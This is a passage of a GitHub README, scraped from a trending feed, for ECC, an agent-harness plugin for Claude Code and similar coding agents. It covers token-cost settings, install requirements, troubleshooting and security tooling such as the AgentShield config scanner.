<tr> \n     <td>Hooks / automation</td> \n     <td>ECC's hooks are not ported (Copilot CLI has its own plugin hook system)</td> \n    </tr> \n   </tbody> \n  </table> \n  <h4>Limitations</h4> \n  <p>ECC's hook automations (auto-format, TypeScript check, session persistence, dev-server guard) are written against Claude Code's hook event model and are not ported to Copilot. Copilot CLI does expose a hook system through its plugin format, but ECC does not currently ship a Copilot plugin, so none of ECC's hooks run there.</p> \n  <p>ECC also does not install rules, commands, or hooks for Copilot. The <code>copilot</code> target installs skills and agents only. Skills that shell out to bundled scripts assume the same interpreters as on Claude Code. Copilot Chat in VS Code does not read <code>.github/skills/</code> or <code>.github/agents/</code>; those paths are Copilot CLI surfaces. The instruction and prompt layer is what carries ECC's coding philosophy into Copilot Chat sessions.</p> \n </details> \n <details> \n  <strong>What changed in v2.0.0</strong> \n  <p>ECC v2.0.0 stabilizes the 2.0 line with the public Hermes operator story, 281 skills, 67 agents, 94 command shims, session adapters, MCP inventory, worktree lifecycle services, orchestrator workflows, and the ECC Discord community.</p> \n  <ul> \n   <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/releases/2.0.0/release-notes.md\">v2.0.0 release notes</a></li> \n   <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ECC-2.0-REFERENCE-ARCHITECTURE.md\">ECC 2.0 reference architecture</a></li> \n   <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/HERMES-SETUP.md\">Hermes setup guide</a></li> \n   <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/MIGRATION-1X-TO-2.0.md\">Migration guide from 1.x</a></li> \n  </ul> \n </details> \n</details> \n<h2>Token Optimization</h2> \n<p>Agent usage can be expensive if you don't manage token consumption. These settings significantly reduce costs without sacrificing quality. Full guide: <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/token-optimization.md\">docs/token-optimization.md</a>.</p> \n<details> \n <strong>Recommended settings</strong> \n <p>Add to <code>~/.claude/settings.json</code>:</p> \n <pre><code class=\"language-json\">{\n  \"model\": \"sonnet\",\n  \"env\": {\n    \"CLAUDE_CODE_EFFORT_LEVEL\": \"medium\",\n    \"CLAUDE_AUTOCOMPACT_PCT_OVERRIDE\": \"50\",\n    \"CLAUDE_CODE_SUBAGENT_MODEL\": \"haiku\"\n  }\n}\n</code></pre> \n <p>The effort setting requires a model that supports effort controls. On Amazon Bedrock, Google Cloud's Agent Platform, and Microsoft Foundry, the <code>sonnet</code> alias currently resolves to Sonnet 4.5, which does not support effort controls. Select an effort-capable model available from your provider, or omit <code>CLAUDE_CODE_EFFORT_LEVEL</code>.</p> \n <table> \n  <thead> \n   <tr> \n    <th>Setting</th> \n    <th>Default</th> \n    <th>Recommended</th> \n    <th>Impact</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td><code>model</code></td> \n    <td>opus</td> \n    <td><strong>sonnet</strong></td> \n    <td>~60% cost reduction; handles 80%+ of coding tasks</td> \n   </tr> \n   <tr> \n    <td><code>CLAUDE_CODE_EFFORT_LEVEL</code></td> \n    <td>Model-dependent</td> \n    <td><strong>medium</strong>, if supported</td> \n    <td>Controls adaptive reasoning depth on models that support effort controls; lower effort trades reasoning depth for latency and cost</td> \n   </tr> \n   <tr> \n    <td><code>CLAUDE_AUTOCOMPACT_PCT_OVERRIDE</code></td> \n    <td>95</td> \n    <td><strong>50</strong></td> \n    <td>Compacts earlier, better quality in long sessions</td> \n   </tr> \n   <tr> \n    <td><code>ECC_CONTEXT_MONITOR_COST_WARNINGS</code></td> \n    <td>on</td> \n    <td><strong>off for subscription users</strong></td> \n    <td>Suppresses agent-facing API-rate estimate warnings while keeping context/scope/loop warnings</td> \n   </tr> \n  </tbody> \n </table> \n <p>For fixed-budget models, <code>MAX_THINKING_TOKENS</code> controls the thinking budget. On Opus 4.6 or Sonnet 4.6, also set <code>CLAUDE_CODE_DISABLE_ADAPTIVE_THINKING=1</code> to use that mode. A positive token value does not cap adaptive reasoning; see the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/rules/common/performance.md#extended-thinking--plan-mode\">performance rule</a>.</p> \n <p>Switch to Opus only when you need deep architectural reasoning:</p> \n <pre><code>/model opus\n</code></pre> \n</details> \n<details> \n <strong>Daily workflow commands</strong> \n <table> \n  <thead> \n   <tr> \n    <th>Command</th> \n    <th>When to Use</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td><code>/model sonnet</code></td> \n    <td>Default for most tasks</td> \n   </tr> \n   <tr> \n    <td><code>/model opus</code></td> \n    <td>Complex architecture, debugging, deep reasoning</td> \n   </tr> \n   <tr> \n    <td><code>/clear</code></td> \n    <td>Between unrelated tasks (free, instant reset)</td> \n   </tr> \n   <tr> \n    <td><code>/compact</code></td> \n    <td>At logical task breakpoints (research done, milestone complete)</td> \n   </tr> \n   <tr> \n    <td><code>/cost</code></td> \n    <td>Monitor token spending during session</td> \n   </tr> \n  </tbody> \n </table> \n <p>If you use a subscription and the context monitor's API-rate estimates are not useful, set <code>ECC_CONTEXT_MONITOR_COST_WARNINGS=off</code>. This only suppresses the agent-facing cost warnings; it does not disable context exhaustion, scope, or loop warnings.</p> \n</details> \n<details> \n <strong>Strategic compaction</strong> \n <p>The <code>strategic-compact</code> skill suggests <code>/compact</code> at logical breakpoints instead of relying on auto-compaction at 95% context. See <code>skills/strategic-compact/SKILL.md</code> for the full decision guide.</p> \n <p><strong>When to compact:</strong></p> \n <ul> \n  <li>After research/exploration, before implementation</li> \n  <li>After completing a milestone, before starting the next</li> \n  <li>After debugging, before continuing feature work</li> \n  <li>After a failed approach, before trying a new one</li> \n </ul> \n <p><strong>When NOT to compact:</strong></p> \n <ul> \n  <li>Mid-implementation (you'll lose variable names, file paths, partial state)</li> \n </ul> \n</details> \n<details> \n <strong>Context window management</strong> \n <p><strong>Critical:</strong> Don't enable all MCPs at once. Each MCP tool description consumes tokens from your 200k window, potentially reducing it to ~70k.</p> \n <ul> \n  <li>Keep under 10 MCPs enabled per project</li> \n  <li>Keep under 80 tools active</li> \n  <li>Use <code>/mcp</code> to disable unused Claude Code MCP servers; those runtime choices persist in <code>~/.claude.json</code></li> \n  <li>Use <code>ECC_DISABLED_MCPS</code> only to filter ECC-generated MCP configs during install/sync flows</li> \n  <li>If context is getting heavy, run <code>/context-budget</code> and remove rules you do not need</li> \n </ul> \n <p><strong>Agent teams cost warning:</strong> Agent Teams spawns multiple context windows. Each teammate consumes tokens independently. Only use for tasks where parallelism provides clear value (multi-module work, parallel reviews). For simple sequential tasks, subagents are more token-efficient.</p> \n</details> \n<h2>Requirements</h2> \n<details> \n <strong>Claude Code CLI version + hooks auto-loading behavior</strong> \n <h3>Claude Code CLI version</h3> \n <p><strong>Minimum version: v2.1.0 or later.</strong> The plugin requires Claude Code CLI v2.1.0+ due to changes in how the plugin system handles hooks.</p> \n <p>Check your version:</p> \n <pre><code class=\"language-bash\">claude --version\n</code></pre> \n <h3>Important: hooks auto-loading behavior</h3> \n <blockquote> \n  <p>WARNING: <strong>For Contributors:</strong> Do NOT add a <code>\"hooks\"</code> field to <code>.claude-plugin/plugin.json</code>. This is enforced by a regression test.</p> \n </blockquote> \n <p>Claude Code v2.1+ <strong>automatically loads</strong> <code>hooks/hooks.json</code> from any installed plugin by convention. Explicitly declaring it in <code>plugin.json</code> causes a duplicate detection error:</p> \n <pre><code>Duplicate hooks file detected: ./hooks/hooks.json resolves to already-loaded file\n</code></pre> \n <p><strong>History:</strong> This has caused repeated fix/revert cycles in this repo (<a href=\"https://github.com/affaan-m/ECC/issues/29\">#29</a>, <a href=\"https://github.com/affaan-m/ECC/issues/52\">#52</a>, <a href=\"https://github.com/affaan-m/ECC/issues/103\">#103</a>). The behavior changed between Claude Code versions, leading to confusion. There is now a regression test to prevent this from being reintroduced.</p> \n</details> \n<h2>Security</h2> \n<p>Install ECC only from official sources:</p> \n<ul> \n <li>GitHub repository: <a href=\"https://github.com/affaan-m/ECC\">https://github.com/affaan-m/ECC</a></li> \n <li>Claude Code plugin: <code>ecc@ecc</code></li> \n <li>npm packages: <a href=\"https://www.npmjs.com/package/ecc-universal\"><code>ecc-universal</code></a> and <a href=\"https://www.npmjs.com/package/ecc-agentshield\"><code>ecc-agentshield</code></a></li> \n <li>GitHub App: <a href=\"https://github.com/apps/ecc-tools\">https://github.com/apps/ecc-tools</a></li> \n <li>Website: <a href=\"https://ecc.tools\">https://ecc.tools</a></li> \n</ul> \n<p>Scan a project with an already installed, reviewed AgentShield binary (see <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#agentshield-runner-provenance\">runner provenance</a>):</p> \n<pre><code class=\"language-bash\">agentshield scan --path .\n</code></pre> \n<ul> \n <li><strong>Report a vulnerability.</strong> Use the private process in <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/SECURITY.md\">SECURITY.md</a> (GitHub private vulnerability reporting). Please do not open public issues for security reports.</li> \n <li><strong>Built-in guardrails.</strong> GateGuard gates destructive shell commands (including <code>rm</code>, force/path <code>git checkout</code>, and destructive <code>find -exec</code>) before they run; the supply-chain IOC scanner runs in CI; and AgentShield audits your own agent, hook, MCP, permission, and secret surfaces (<code>/security-scan</code>).</li> \n</ul> \n<details> \n <strong>Hooks, MCP servers, and context controls</strong> \n <p>Hooks can run shell commands, MCP servers can hold credentials, and project instructions can enter an agent's context. Treat all three as executable configuration.</p> \n <p>Do not copy raw <code>hooks/hooks.json</code> into <code>~/.claude/settings.json</code> after a plugin install. Modern Claude Code versions load plugin hooks automatically, and a second copy can make them fire twice.</p> \n <p>Use <code>/mcp</code> for Claude Code runtime disables; Claude Code persists those choices in <code>~/.claude.json</code>.</p> \n <p><code>ECC_DISABLED_MCPS</code> is an ECC install/sync filter, not a live Claude Code toggle.</p> \n <p>If context is getting heavy, run <code>/context-budget</code>, remove rules you do not need, and disable unused MCP servers. See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/token-optimization.md\">token optimization guide</a>.</p> \n</details> \n<p>Security references:</p> \n<ul> \n <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/SECURITY.md\">Security policy</a></li> \n <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/the-security-guide.md\">Security guide</a></li> \n <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/MCP-CONNECTOR-POLICY.md\">MCP connector policy</a></li> \n <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/security/supply-chain-incident-response.md\">Supply-chain incident response</a></li> \n</ul> \n<h2>Ecosystem Tools</h2> \n<details> \n <strong>Skill Creator: generate skills from your git history</strong> \n <p>Two ways to generate skills from your repository:</p> \n <h3>Option A: Local Analysis (Built-in)</h3> \n <p>Use the <code>/skill-create</code> command for local analysis without external services:</p> \n <pre><code class=\"language-bash\">/skill-create                    # Analyze current repo\n/skill-create --instincts        # Also generate instincts for continuous-learning-v2\n</code></pre> \n <p>This analyzes your git history locally and generates <a href=\"http://SKILL.md\">SKILL.md</a> files.</p> \n <h3>Option B: GitHub App (Advanced)</h3> \n <p>For advanced features (10k+ commits, auto-PRs, team sharing):</p> \n <p><a href=\"https://github.com/apps/ecc-tools\">Install ECC Tools GitHub App</a> | <a href=\"https://ecc.tools\">ecc.tools</a></p> \n <pre><code class=\"language-bash\"># Comment on any issue:\n/ecc-tools analyze\n</code></pre> \n <p>Both options create:</p> \n <ul> \n  <li><strong><a href=\"http://SKILL.md\">SKILL.md</a> files</strong>: Ready-to-use skills for the active harness</li> \n  <li><strong>Instinct collections</strong>: For continuous-learning-v2</li> \n  <li><strong>Pattern extraction</strong>: Learns from your commit history</li> \n </ul> \n</details> \n<details> \n <strong>AgentShield: security auditor for agent configs</strong> \n <blockquote> \n  <p>Built at the Claude Code Hackathon (Cerebral Valley x Anthropic, Feb 2026). 1282 tests, 98% coverage, 102 static analysis rules.</p> \n </blockquote> \n <p>Scan your agent configuration for vulnerabilities, misconfigurations, and injection risks.</p> \n <p><a id=\"agentshield-runner-provenance\"></a> <strong>Runner provenance:</strong> these commands require an already installed, reviewed AgentShield binary from <code>ecc-agentshield</code>. The <a href=\"https://www.npmjs.com/package/ecc-agentshield\">official package</a> documents the <code>agentshield</code> CLI. Record the selected release, reviewed source and verified package integrity in your installation record. Registry publication alone does not establish an audit; ECC does not supply an audited AgentShield pin here. Do not substitute an unversioned one-shot download. <code>/security-scan</code> is workflow guidance and has the same runner prerequisite.</p> \n <pre><code class=\"language-bash\"># Scan only the intended project directory\nagentshield scan --path .\n\n# Auto-fix safe issues\nagentshield scan --path . --fix\n\n# Deep analysis with three Opus 4.6 agents\nagentshield scan --path . --opus --stream\n\n# Generate secure config from scratch\nagentshield init\n</code></pre> \n <p><strong>What it scans:</strong> <a href=\"http://CLAUDE.md\">CLAUDE.md</a>, settings.json, MCP configs, hooks, agent definitions, and skills across 5 categories: secrets detection (14 patterns), permission auditing, hook injection analysis, MCP server risk profiling, and agent config review.</p> \n <p><strong>The <code>--opus</code> flag</strong> runs three Claude Opus 4.6 agents in a red-team/blue-team/auditor pipeline. The attacker finds exploit chains, the defender evaluates protections, and the auditor synthesizes both into a prioritized risk assessment. Adversarial reasoning, not just pattern matching.</p> \n <p><strong>Output formats:</strong> Terminal (color-graded A-F), JSON (CI pipelines), Markdown, HTML. Exit code 2 on critical findings for build gates.</p> \n <p>Use <code>/security-scan</code> in Claude Code to run it, or add to CI with the <a href=\"https://github.com/affaan-m/agentshield\">GitHub Action</a>.</p> \n <p><a href=\"https://github.com/affaan-m/agentshield\">GitHub</a> | <a href=\"https://www.npmjs.com/package/ecc-agentshield\">npm</a></p> \n</details> \n<details> \n <strong>Continuous Learning v2: instincts</strong> \n <p>The instinct-based learning system automatically learns your patterns:</p> \n <pre><code class=\"language-bash\">/instinct-status        # Show learned instincts with confidence\n/instinct-import &lt;file&gt; # Import instincts from others\n/instinct-export        # Export your instincts for sharing\n/evolve                 # Cluster related instincts into skills\n</code></pre> \n <p>See <code>skills/continuous-learning-v2/</code> for full documentation. Keep <code>continuous-learning/</code> only when you explicitly want the legacy v1 Stop-hook learned-skill flow.</p> \n</details> \n<h2>Troubleshooting</h2> \n<details> \n <strong>ECC appears twice or hooks fire twice</strong> \n <p>The usual cause is installing the Claude plugin and then running <code>./install.sh --profile full</code> on top of it.</p> \n <ol> \n  <li>Remove the Claude Code plugin install.</li> \n  <li>Run <code>node scripts/ecc.js uninstall --dry-run</code> from the ECC checkout.</li> \n  <li>Remove extra rule folders you manually copied and no longer want.</li> \n  <li>Reinstall once, using one path.</li> \n </ol> \n <p>For hook-specific checks, see the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/hooks/README.md\">hooks README</a>.</p> \n</details> \n<details> \n <strong>My hooks aren't working / \"Duplicate hooks file\" errors</strong> \n <p><strong>Do NOT add a <code>\"hooks\"</code> field to <code>.claude-plugin/plugin.json</code>.</strong> Claude Code v2.1+ automatically loads <code>hooks/hooks.json</code> from installed plugins. Explicitly declaring it causes duplicate detection errors. See <a href=\"https://github.com/affaan-m/ECC/issues/29\">#29</a>, <a href=\"https://github.com/affaan-m/ECC/issues/52\">#52</a>, <a href=\"https://github.com/affaan-m/ECC/issues/103\">#103</a>.</p> \n</details> \n<details> \n <strong>Codex marketplace installs but skills do not load</strong> \n <p>Run the cache check from an ECC checkout:</p> \n <pre><code class=\"language-bash\">node scripts/codex/check-plugin-cache.js\n</code></pre> \n <p>If it reports unresolved parent references, refresh the native cache with <code>codex plugin marketplace upgrade ecc</code>, run <code>codex plugin add ecc@ecc</code> again, and restart Codex. Registration in <code>codex plugin list</code> confirms the marketplace entry, while the cache check verifies that the installed manifest can resolve its skills, MCP configuration, and assets. Use <code>bash scripts/sync-ecc-to-codex.sh</code> only when you intentionally need the legacy copied-configuration compatibility path.</p> \n</details> \n<p>More answers: <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/TROUBLESHOOTING.md\">TROUBLESHOOTING.md</a> covers memory, hooks, installation, performance, and common error messages. <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/TROUBLESHOOTING.md\">docs/TROUBLESHOOTING.md</a> tracks workarounds for open Claude Code bugs.</p> \n<h2>Running Tests</h2> \n<p>The plugin includes a comprehensive test suite:</p> \n<pre><code class=\"language-bash\"># Run all tests\nnode tests/run-all.js\n\n# Run individual test files\nnode tests/lib/utils.test.js\nnode tests/lib/package-manager.test.js\nnode tests/hooks/hooks.test.js\n</code></pre> \n<h2>Background</h2> \n<p>I've been using Claude Code since the experimental rollout. Won the Anthropic x Forum Ventures hackathon in Sep 2025 with <a href=\"https://x.com/DRodriguezFX\">@DRodriguezFX</a>, built <a href=\"https://zenith.chat\">zenith.chat</a> entirely with agentic workflows.</p> \n<p>These configs are battle-tested across multiple production applications.</p> \n<h2>Community and Project</h2> \n<details> \n <strong>Sponsors and ECC Pro</strong> \n <p>ECC stays free because sponsors and Pro users fund the work. Sponsor logos are at the top of this README; the full roster and tiers are in <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/SPONSORS.md\">SPONSORS.md</a>.</p> \n <p>ECC Pro adds private-repo analysis, PR-triggered audits, AgentShield-backed scanning, automatic push and PR checks, pooled team usage, and priority support through the hosted GitHub App.</p> \n <table> \n  <tbody>\n   <tr> \n    <td align=\"center\" width=\"25%\"><a href=\"https://ecc.tools/pricing\"><strong>ECC Pro</strong><br /><sub>Hosted GitHub App for private repos</sub></a></td> \n    <td align=\"center\" width=\"25%\"><a href=\"https://github.com/sponsors/affaan-m\"><strong>Sponsor ECC</strong><br /><sub>Fund the OSS work</sub></a></td> \n    <td align=\"center\" width=\"25%\"><a href=\"https://github.com/affaan-m/ECC/discussions\"><strong>Community</strong><br /><sub>Q&amp;A, ideas, and Show and Tell</sub></a></td> \n    <td align=\"center\" width=\"25%\"><a href=\"https://github.com/apps/ecc-tools\"><strong>GitHub App</strong><br /><sub>PR audits and hosted workflows</sub></a></td> \n   </tr> \n  </tbody>\n </table> \n <p><a href=\"https://github.com/sponsors/affaan-m\">Become a sponsor</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/SPONSORS.md\">Sponsor tiers</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/SPONSORING.md\">Sponsorship program</a></p> \n</details> \n<details> \n <strong>Contributing</strong> \n <p>Contributions are welcome across skills, agents, rules, hooks, docs, tests, adapters, and security improvements.</p> \n <ul> \n  <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/CONTRIBUTING.md\">Contributing guide</a></li> \n  <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/SKILL-DEVELOPMENT-GUIDE.md\">Skill development guide</a></li> \n  <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/SKILL-PLACEMENT-POLICY.md\">Skill placement policy</a></li> \n  <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/COMMANDS-QUICK-REF.md\">Command quick reference</a></li> \n </ul> \n <p>The short version:</p> \n <ol> \n  <li>Fork the repo</li> \n  <li>Create your skill in <code>skills/your-skill-name/SKILL.md</code> (with YAML frontmatter)</li> \n  <li>Or create an agent in <code>agents/your-agent.md</code></li> \n  <li>Submit a PR with a clear description of what it does and when to use it</li> \n </ol> \n <p><strong>Ideas for contributions:</strong></p> \n <ul> \n  <li>Language-specific skills (Rust, C#, Kotlin, Java): Go, Python, Perl, Swift, TypeScript, and HarmonyOS/ArkTS already included</li> \n  <li>Framework-specific configs (Rails, FastAPI): Django, NestJS, Spring Boot, and Laravel already included</li> \n  <li>DevOps agents (Kubernetes, Terraform, AWS, Docker)</li> \n  <li>Testing strategies (different frameworks, visual regression)</li> \n  <li>Domain-specific knowledge (ML, data engineering, mobile)</li> \n </ul> \n</details> \n<h2>Links</h2> \n<ul> \n <li><strong>Shorthand Guide (Start Here):</strong> <a href=\"https://x.com/affaan/status/2012378465664745795\">The Shorthand Guide to ECC</a></li> \n <li><strong>Longform Guide (Advanced):</strong> <a href=\"https://x.com/affaan/status/2014040193557471352\">The Longform Guide to ECC</a></li> \n <li><strong>Security Guide:</strong> <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/the-security-guide.md\">Security Guide</a> | <a href=\"https://x.com/affaan/status/2033263813387223421\">Thread</a></li> \n <li><strong>Follow:</strong> <a href=\"https://x.com/affaan\">@affaan</a></li> \n</ul> \n<h2>License</h2> \n<p>MIT. Use it freely, adapt it to your workflow, and contribute back when you can.</p> \n<p><strong>Star this repo if it helps. Read the guides. Build something great.</strong></p>", "summary": "<p>The agent harness performance optimization system. Skills, instincts, memory, security, and research-first development for Claude Code, Codex, Opencode, Cursor and beyond.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://ecc.tools\">https://ecc.tools</a></p><hr /><p align=\"center\"> <img alt=\"ECC - the agent harness operating system\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/hero.png\" width=\"100%\" /> </p> \n<p align=\"center\"> <a href=\"https://www.star-history.com/affaan-m/ecc\"> \n   \n   <source media=\"(prefers-color-scheme: dark)\" /> \n   <img alt=\"GitHub Trending Repository of the Day\" height=\"46\" src=\"https://api.star-history.com/badge?repo=affaan-m/ECC&amp;type=trending\" /> \n   </a> <a href=\"https://www.star-history.com/affaan-m/ecc\"> \n   \n   <source media=\"(prefers-color-scheme: dark)\" /> \n   <img alt=\"Star History Global Rank\" height=\"46\" src=\"https://api.star-history.com/badge?repo=affaan-m/ECC&amp;type=rank\" /> \n   </a> </p> \n<p align=\"center\"> <strong>Language:</strong> <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/README.md\">English</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ar/README.md\">\u0627\u0644\u0639\u0631\u0628\u064a\u0629</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/pt-BR/README.md\">Portugu\u00eas (Brasil)</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/README.zh-CN.md\">\u7b80\u4f53\u4e2d\u6587</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/zh-TW/README.md\">\u7e41\u9ad4\u4e2d\u6587</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ja-JP/README.md\">\u65e5\u672c\u8a9e</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ko-KR/README.md\">\ud55c\uad6d\uc5b4</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/tr/README.md\">T\u00fcrk\u00e7e</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ru/README.md\">\u0420\u0443\u0441\u0441\u043a\u0438\u0439</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/vi-VN/README.md\">Ti\u1ebfng Vi\u1ec7t</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/th/README.md\">\u0e44\u0e17\u0e22</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/de-DE/README.md\">Deutsch</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/es/README.md\">Espa\u00f1ol</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/uk-UA/README.md\">\u0423\u043a\u0440\u0430\u0457\u043d\u0441\u044c\u043a\u0430</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/pl/README.md\">Polski</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/bn/README.md\">\u09ac\u09be\u0982\u09b2\u09be</a> </p> \n<p align=\"center\"> <a href=\"https://discord.gg/36yGMHGFbR\"><img alt=\"Discord\" src=\"https://img.shields.io/discord/1496644400590094540?logo=discord&amp;logoColor=white&amp;label=Discord&amp;color=5865F2\" /></a> <a href=\"https://ecc.tools\"><img alt=\"Website\" src=\"https://img.shields.io/badge/Website-ecc.tools-E07856?logo=googlechrome&amp;logoColor=white\" /></a> <a href=\"https://github.com/apps/ecc-tools\"><img alt=\"GitHub App\" src=\"https://img.shields.io/badge/GitHub%20App-ECC%20Tools-181717?logo=github&amp;logoColor=white\" /></a> <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/LICENSE\"><img alt=\"MIT license\" src=\"https://img.shields.io/badge/license-MIT-blue.svg?sanitize=true\" /></a> </p> \n<p align=\"center\"> <a href=\"https://github.com/affaan-m/ECC\"><img alt=\"GitHub stars\" src=\"https://img.shields.io/github/stars/affaan-m/ECC?style=flat\" /></a> <a href=\"https://github.com/affaan-m/ECC/forks\"><img alt=\"GitHub forks\" src=\"https://img.shields.io/github/forks/affaan-m/ECC?style=flat\" /></a> <a href=\"https://github.com/affaan-m/ECC/graphs/contributors\"><img alt=\"Contributors\" src=\"https://img.shields.io/github/contributors/affaan-m/ECC?style=flat\" /></a> <a href=\"https://github.com/marketplace/ecc-tools\"><img alt=\"GitHub App installs\" src=\"https://img.shields.io/endpoint?url=https%3A%2F%2Fapi.ecc.tools%2Fbadge%2Finstalls&amp;logo=github\" /></a> </p> \n<p align=\"center\"> <a href=\"https://www.npmjs.com/package/ecc-universal\"><img alt=\"ecc-universal npm downloads\" src=\"https://img.shields.io/npm/dw/ecc-universal?label=ecc-universal&amp;logo=npm\" /></a> <a href=\"https://www.npmjs.com/package/ecc-agentshield\"><img alt=\"ecc-agentshield npm downloads\" src=\"https://img.shields.io/npm/dw/ecc-agentshield?label=ecc-agentshield&amp;logo=npm\" /></a> </p> \n<p align=\"center\"> <img alt=\"Shell\" src=\"https://img.shields.io/badge/-Shell-4EAA25?logo=gnu-bash&amp;logoColor=white\" /> <img alt=\"TypeScript\" src=\"https://img.shields.io/badge/-TypeScript-3178C6?logo=typescript&amp;logoColor=white\" /> <img alt=\"Python\" src=\"https://img.shields.io/badge/-Python-3776AB?logo=python&amp;logoColor=white\" /> <img alt=\"Go\" src=\"https://img.shields.io/badge/-Go-00ADD8?logo=go&amp;logoColor=white\" /> <img alt=\"Java\" src=\"https://img.shields.io/badge/-Java-ED8B00?logo=openjdk&amp;logoColor=white\" /> <img alt=\"Perl\" src=\"https://img.shields.io/badge/-Perl-39457E?logo=perl&amp;logoColor=white\" /> <img alt=\"Markdown\" src=\"https://img.shields.io/badge/-Markdown-000000?logo=markdown&amp;logoColor=white\" /> </p> \n<div class=\"markdown-alert markdown-alert-warning\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-alert mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n  </svg>Warning</p>\n <p><strong>Official sources only.</strong> Install ECC only from verified channels: the GitHub repository <a href=\"https://github.com/affaan-m/ECC\">github.com/affaan-m/ECC</a>, the npm packages <a href=\"https://www.npmjs.com/package/ecc-universal\"><code>ecc-universal</code></a> and <a href=\"https://www.npmjs.com/package/ecc-agentshield\"><code>ecc-agentshield</code></a>, the <a href=\"https://github.com/apps/ecc-tools\">GitHub App</a>, the plugin slug <code>ecc@ecc</code>, and the project website <a href=\"https://ecc.tools\">ecc.tools</a>. Third-party re-uploads and unofficial mirrors are not maintained or reviewed by the project and may contain malware.</p> \n</div> \n<h2>Install with Claude Code</h2> \n<p>Use the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#install-ecc\">guided setup</a> or <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#claude-code-details\">native plugin commands</a>. Both install the same <code>ecc@ecc</code> plugin. Choose one and do not stack a full manual Claude install on top.</p> \n<div align=\"center\"> \n <table> \n  <tbody>\n   <tr> \n    <td align=\"center\" width=\"33%\"> <a href=\"https://ecc.tools/pricing\"> <img alt=\"ECC Tools\" height=\"42\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/community/ecc-tools-mark.svg?sanitize=true\" /><br /> <strong>ECC Pro + GitHub App</strong> </a><br /> <sub><a href=\"https://github.com/apps/ecc-tools\">Install free</a> \u00b7 <a href=\"https://ecc.tools/pricing\">Private repos from $19/seat/mo</a></sub> </td> \n    <td align=\"center\" width=\"33%\"> <a href=\"https://github.com/sponsors/affaan-m\"> <img alt=\"\" height=\"42\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/community/heart.svg?sanitize=true\" /><br /> <strong>Sponsor ECC</strong> </a><br /> <sub>Fund the open-source project</sub> </td> \n    <td align=\"center\" width=\"33%\"> <a href=\"https://discord.gg/36yGMHGFbR\"> <img alt=\"Discord\" height=\"42\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/community/discord.svg?sanitize=true\" /><br /> <strong>Community</strong> </a><br /> <sub>Discord \u00b7 Q&amp;A \u00b7 Show and Tell</sub> </td> \n   </tr> \n  </tbody>\n </table> \n</div> \n<p><sub><strong>OSS stays free.</strong> This repo is MIT-licensed forever. ECC Pro is the hosted GitHub App for private repos. <a href=\"https://github.com/sponsors/affaan-m\">Sponsors</a> and <a 